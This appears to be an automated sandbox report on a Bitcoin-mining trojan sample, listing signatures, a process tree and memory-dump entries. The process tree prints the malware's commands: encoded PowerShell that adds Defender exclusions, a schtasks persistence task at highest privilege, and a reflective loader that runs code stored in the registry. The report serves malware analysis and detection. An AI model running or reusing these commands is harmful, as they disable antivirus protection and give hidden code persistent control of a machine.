Analysis

  • max time kernel
    151s
  • max time network
    138s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    11/02/2022, 16:57

General

  • Target
    SecuriteInfo.com.Trojan.BtcMine.3606.23579.exe
  • Size 5.7MB
  • Sample220211-vgajvaeedj
  • SHA256 60a79ee81b8cddb7dd3dfce0855e2eb6597540fd33249ac41c381f5787f17ef8
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Signatures

  • Modifies security service 2 TTPs 2 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Drops file in System32 directory 20 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Windows directory 9 IoCs
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\lsass.exe
    C:\Windows\system32\lsass.exe
    1⤵
      PID:480
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
      1⤵
        PID:1460
      • C:\Windows\system32\sppsvc.exe
        C:\Windows\system32\sppsvc.exe
        1⤵
          PID:1092
        • C:\Windows\Explorer.EXE
          C:\Windows\Explorer.EXE
          1⤵
            PID:1356
            • C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.BtcMine.3606.23579.exe
              "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.BtcMine.3606.23579.exe"
              2⤵
              • Suspicious use of SetThreadContext
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:1116
              • C:\Windows\system32\cmd.exe
                "cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:928
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA"
                  4⤵
                  • Drops file in System32 directory
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:568
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA="
                  4⤵
                  • Drops file in System32 directory
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1992
              • C:\Windows\System32\nslookup.exe
                C:\Windows\System32\nslookup.exe
                3⤵
                • Drops file in Windows directory
                PID:2000
              • C:\Windows\system32\cmd.exe
                "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services" /tr "C:\Users\Admin\Microsoft\services.exe"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1712
                • C:\Windows\system32\schtasks.exe
                  schtasks /create /f /sc onlogon /rl highest /tn "services" /tr "C:\Users\Admin\Microsoft\services.exe"
                  4⤵
                  • Creates scheduled task(s)
                  PID:1748
              • C:\Windows\system32\cmd.exe
                "cmd" cmd /c "C:\Users\Admin\Microsoft\services.exe"
                3⤵
                • Loads dropped DLL
                • Suspicious use of WriteProcessMemory
                PID:620
                • C:\Users\Admin\Microsoft\services.exe
                  C:\Users\Admin\Microsoft\services.exe
                  4⤵
                  • Executes dropped EXE
                  PID:1100
                  • C:\Windows\system32\cmd.exe
                    "cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit
                    5⤵
                      PID:852
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA"
                        6⤵
                        • Drops file in System32 directory
                        • Suspicious use of AdjustPrivilegeToken
                        PID:320
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA="
                        6⤵
                        • Drops file in System32 directory
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1680
            • C:\Windows\system32\Dwm.exe
              "C:\Windows\system32\Dwm.exe"
              1⤵
                PID:1300
              • C:\Windows\system32\taskhost.exe
                "taskhost.exe"
                1⤵
                  PID:1208
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
                  1⤵
                    PID:1036
                  • C:\Windows\System32\spoolsv.exe
                    C:\Windows\System32\spoolsv.exe
                    1⤵
                      PID:548
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k NetworkService
                      1⤵
                        PID:340
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k netsvcs
                        1⤵
                        • Drops file in Windows directory
                        • Suspicious use of AdjustPrivilegeToken
                        PID:864
                        • C:\Windows\system32\taskeng.exe
                          taskeng.exe {40745393-9BE9-4057-B61E-C5EFEE28315C} S-1-5-18:NT AUTHORITY\System:Service:
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:1728
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('nslookstager')).EntryPoint.Invoke($Null,$Null)"
                            3⤵
                            • Suspicious use of NtCreateUserProcessOtherParentProcess
                            • Drops file in System32 directory
                            • Suspicious use of SetThreadContext
                            • Modifies data under HKEY_USERS
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            • Suspicious use of WriteProcessMemory
                            PID:1452
                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
                            C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('nslookstager')).EntryPoint.Invoke($Null,$Null)"
                            3⤵
                            • Drops file in System32 directory
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:920
                        • C:\Windows\system32\wbem\WMIADAP.EXE
                          wmiadap.exe /F /T /R
                          2⤵
                          • Drops file in System32 directory
                          • Drops file in Windows directory
                          PID:1284
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k LocalService
                        1⤵
                          PID:840
                        • C:\Windows\System32\svchost.exe
                          C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
                          1⤵
                            PID:808
                          • C:\Windows\System32\svchost.exe
                            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
                            1⤵
                            • Modifies security service
                            PID:756
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k RPCSS
                            1⤵
                              PID:660
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k DcomLaunch
                              1⤵
                                PID:584
                                • C:\Windows\system32\wbem\wmiprvse.exe
                                  C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                  2⤵
                                    PID:676
                                  • C:\Windows\system32\wbem\wmiprvse.exe
                                    C:\Windows\system32\wbem\wmiprvse.exe -Embedding
                                    2⤵
                                      PID:2032
                                  • C:\Windows\system32\lsm.exe
                                    C:\Windows\system32\lsm.exe
                                    1⤵
                                      PID:488
                                    • C:\Windows\system32\services.exe
                                      C:\Windows\system32\services.exe
                                      1⤵
                                        PID:464
                                      • C:\Windows\system32\winlogon.exe
                                        winlogon.exe
                                        1⤵
                                          PID:420
                                          • C:\Windows\System32\dllhost.exe
                                            C:\Windows\System32\dllhost.exe /Processid:{9d4ca277-3eb9-4a9f-8b29-084ffa0e190c}
                                            2⤵
                                            • Suspicious behavior: EnumeratesProcesses
                                            • Suspicious use of AdjustPrivilegeToken
                                            • Suspicious use of WriteProcessMemory
                                            PID:524
                                        • C:\Windows\system32\conhost.exe
                                          \??\C:\Windows\system32\conhost.exe "160461438917137971452596914113891345201057164906-1224751668-2105067006-1276493561"
                                          1⤵
                                            PID:880
                                          • C:\Windows\system32\conhost.exe
                                            \??\C:\Windows\system32\conhost.exe "-96054946-360891604534679438166864856-1328501310-517941429447967913848526202"
                                            1⤵
                                              PID:1296
                                            • C:\Windows\system32\conhost.exe
                                              \??\C:\Windows\system32\conhost.exe "269064604336753904-1425477451-169531417618726791-11397118392098539666-537786109"
                                              1⤵
                                                PID:1060

                                              Network

                                                    MITRE ATT&CK Enterprise v6

                                                    Replay Monitor

                                                    Loading Replay Monitor...

                                                    Downloads

                                                    memory/340-206-0x0000000001250000-0x000000000127A000-memory.dmp

                                                    memory/340-149-0x0000000037910000-0x0000000037920000-memory.dmp

                                                    memory/340-145-0x000007FEBDB40000-0x000007FEBDB50000-memory.dmp

                                                    memory/420-148-0x0000000000240000-0x000000000026A000-memory.dmp

                                                    memory/420-111-0x000007FEBDB40000-0x000007FEBDB50000-memory.dmp

                                                    memory/420-112-0x0000000037910000-0x0000000037920000-memory.dmp

                                                    memory/420-110-0x0000000000210000-0x0000000000233000-memory.dmp

                                                    memory/464-116-0x0000000037910000-0x0000000037920000-memory.dmp

                                                    memory/464-115-0x000007FEBDB40000-0x000007FEBDB50000-memory.dmp

                                                    memory/464-186-0x0000000000BA0000-0x0000000000BCA000-memory.dmp

                                                    memory/480-199-0x00000000008D0000-0x00000000008FA000-memory.dmp

                                                    memory/480-141-0x00000000008A0000-0x00000000008C3000-memory.dmp

                                                    memory/480-121-0x0000000037910000-0x0000000037920000-memory.dmp

                                                    memory/480-119-0x000007FEBDB40000-0x000007FEBDB50000-memory.dmp

                                                    memory/488-200-0x00000000003E0000-0x000000000040A000-memory.dmp

                                                    memory/488-122-0x000007FEBDB40000-0x000007FEBDB50000-memory.dmp

                                                    memory/488-124-0x0000000037910000-0x0000000037920000-memory.dmp

                                                    memory/524-107-0x0000000140000000-0x0000000140040000-memory.dmp

                                                    memory/524-117-0x0000000140000000-0x0000000140040000-memory.dmp

                                                    memory/524-108-0x00000000778D0000-0x0000000077A79000-memory.dmp

                                                    memory/524-109-0x00000000776B0000-0x00000000777CF000-memory.dmp

                                                    memory/548-165-0x0000000001D30000-0x0000000001D5A000-memory.dmp

                                                    memory/548-158-0x0000000077921000-0x0000000077922000-memory.dmp

                                                    memory/548-156-0x0000000037910000-0x0000000037920000-memory.dmp

                                                    memory/548-152-0x000007FEBDB40000-0x000007FEBDB50000-memory.dmp

                                                    memory/568-67-0x0000000002784000-0x0000000002787000-memory.dmp

                                                    memory/568-68-0x000000000278B000-0x00000000027AA000-memory.dmp

                                                    memory/568-62-0x000007FEECD20000-0x000007FEED87D000-memory.dmp

                                                    memory/568-66-0x0000000002782000-0x0000000002784000-memory.dmp

                                                    memory/568-65-0x0000000002780000-0x0000000002782000-memory.dmp

                                                    memory/568-64-0x000007FEEF9BE000-0x000007FEEF9BF000-memory.dmp

                                                    memory/568-61-0x000007FEFC151000-0x000007FEFC153000-memory.dmp

                                                    memory/584-201-0x00000000001A0000-0x00000000001CA000-memory.dmp

                                                    memory/584-128-0x0000000037910000-0x0000000037920000-memory.dmp

                                                    memory/584-125-0x000007FEBDB40000-0x000007FEBDB50000-memory.dmp

                                                    memory/620-190-0x0000000000340000-0x000000000036A000-memory.dmp

                                                    memory/620-193-0x0000000037910000-0x0000000037920000-memory.dmp

                                                    memory/660-127-0x000007FEBDB40000-0x000007FEBDB50000-memory.dmp

                                                    memory/660-130-0x0000000037910000-0x0000000037920000-memory.dmp

                                                    memory/660-202-0x0000000000410000-0x000000000043A000-memory.dmp

                                                    memory/676-214-0x0000000000800000-0x000000000082A000-memory.dmp

                                                    memory/756-131-0x000007FEBDB40000-0x000007FEBDB50000-memory.dmp

                                                    memory/756-133-0x0000000037910000-0x0000000037920000-memory.dmp

                                                    memory/756-203-0x00000000008C0000-0x00000000008EA000-memory.dmp

                                                    memory/808-204-0x0000000000900000-0x000000000092A000-memory.dmp

                                                    memory/808-137-0x0000000037910000-0x0000000037920000-memory.dmp

                                                    memory/808-134-0x000007FEBDB40000-0x000007FEBDB50000-memory.dmp

                                                    memory/840-139-0x000007FEBDB40000-0x000007FEBDB50000-memory.dmp

                                                    memory/840-205-0x0000000000850000-0x000000000087A000-memory.dmp

                                                    memory/840-144-0x0000000037910000-0x0000000037920000-memory.dmp

                                                    memory/864-207-0x0000000000990000-0x00000000009BA000-memory.dmp

                                                    memory/864-146-0x000007FEBDB40000-0x000007FEBDB50000-memory.dmp

                                                    memory/864-153-0x0000000037910000-0x0000000037920000-memory.dmp

                                                    memory/880-217-0x0000000000A60000-0x0000000000A8A000-memory.dmp

                                                    memory/880-218-0x0000000037910000-0x0000000037920000-memory.dmp

                                                    memory/920-103-0x00000000008A2000-0x00000000008A4000-memory.dmp

                                                    memory/920-102-0x00000000008A1000-0x00000000008A2000-memory.dmp

                                                    memory/920-101-0x0000000074502000-0x0000000074504000-memory.dmp

                                                    memory/920-100-0x00000000008A0000-0x00000000008A1000-memory.dmp

                                                    memory/920-99-0x0000000074501000-0x0000000074502000-memory.dmp

                                                    memory/920-90-0x0000000076511000-0x0000000076513000-memory.dmp

                                                    memory/1036-157-0x0000000037910000-0x0000000037920000-memory.dmp

                                                    memory/1036-154-0x000007FEBDB40000-0x000007FEBDB50000-memory.dmp

                                                    memory/1036-208-0x00000000001B0000-0x00000000001DA000-memory.dmp

                                                    memory/1092-213-0x00000000008D0000-0x00000000008FA000-memory.dmp

                                                    memory/1116-60-0x000000001C606000-0x000000001C607000-memory.dmp

                                                    memory/1116-63-0x000000001C607000-0x000000001C608000-memory.dmp

                                                    memory/1116-55-0x0000000000AC0000-0x0000000000F0A000-memory.dmp

                                                    memory/1116-58-0x000000001C602000-0x000000001C604000-memory.dmp

                                                    memory/1116-59-0x000000001C604000-0x000000001C606000-memory.dmp

                                                    memory/1116-57-0x000000001CAD0000-0x000000001CF1A000-memory.dmp

                                                    memory/1116-56-0x000007FEF5783000-0x000007FEF5784000-memory.dmp

                                                    memory/1208-210-0x0000000037910000-0x0000000037920000-memory.dmp

                                                    memory/1208-209-0x0000000001DE0000-0x0000000001E0A000-memory.dmp

                                                    memory/1296-198-0x0000000001A40000-0x0000000001A6A000-memory.dmp

                                                    memory/1296-197-0x0000000037910000-0x0000000037920000-memory.dmp

                                                    memory/1300-178-0x0000000037910000-0x0000000037920000-memory.dmp

                                                    memory/1300-212-0x0000000001B00000-0x0000000001B2A000-memory.dmp

                                                    memory/1356-211-0x0000000002720000-0x000000000274A000-memory.dmp

                                                    memory/1356-170-0x0000000037910000-0x0000000037920000-memory.dmp

                                                    memory/1452-96-0x0000000000E04000-0x0000000000E07000-memory.dmp

                                                    memory/1452-105-0x00000000778D1000-0x00000000779D2000-memory.dmp

                                                    memory/1452-104-0x0000000000E0B000-0x0000000000E2A000-memory.dmp

                                                    memory/1452-97-0x00000000778D0000-0x0000000077A79000-memory.dmp

                                                    memory/1452-95-0x0000000000E02000-0x0000000000E04000-memory.dmp

                                                    memory/1452-94-0x0000000000E00000-0x0000000000E02000-memory.dmp

                                                    memory/1452-93-0x000007FEEF9BE000-0x000007FEEF9BF000-memory.dmp

                                                    memory/1452-91-0x000007FEECD20000-0x000007FEED87D000-memory.dmp

                                                    memory/1452-98-0x00000000776B0000-0x00000000777CF000-memory.dmp

                                                    memory/1452-106-0x00000000776B1000-0x000000007774C000-memory.dmp

                                                    memory/1460-184-0x0000000037910000-0x0000000037920000-memory.dmp

                                                    memory/1460-215-0x0000000000840000-0x000000000086A000-memory.dmp

                                                    memory/1728-216-0x00000000003B0000-0x00000000003DA000-memory.dmp

                                                    memory/1992-77-0x00000000028EB000-0x000000000290A000-memory.dmp

                                                    memory/1992-72-0x000000001B890000-0x000000001BB8F000-memory.dmp

                                                    memory/1992-71-0x000007FEED260000-0x000007FEEDDBD000-memory.dmp

                                                    memory/1992-73-0x000007FEEEAAE000-0x000007FEEEAAF000-memory.dmp

                                                    memory/1992-74-0x00000000028E0000-0x00000000028E2000-memory.dmp

                                                    memory/1992-75-0x00000000028E2000-0x00000000028E4000-memory.dmp

                                                    memory/1992-76-0x00000000028E4000-0x00000000028E7000-memory.dmp

                                                    memory/2000-83-0x0000000140000000-0x0000000140057000-memory.dmp

                                                    memory/2000-85-0x0000000140000000-0x0000000140057000-memory.dmp

                                                    memory/2000-86-0x0000000140000000-0x0000000140057000-memory.dmp

                                                    memory/2000-88-0x0000000140000000-0x0000000140057000-memory.dmp

                                                    memory/2000-78-0x0000000140000000-0x0000000140057000-memory.dmp

                                                    memory/2000-84-0x0000000140000000-0x0000000140057000-memory.dmp

                                                    memory/2000-82-0x0000000140000000-0x0000000140057000-memory.dmp

                                                    memory/2000-79-0x0000000140000000-0x0000000140057000-memory.dmp

                                                    memory/2000-80-0x0000000140000000-0x0000000140057000-memory.dmp

                                                    memory/2000-81-0x0000000140000000-0x0000000140057000-memory.dmp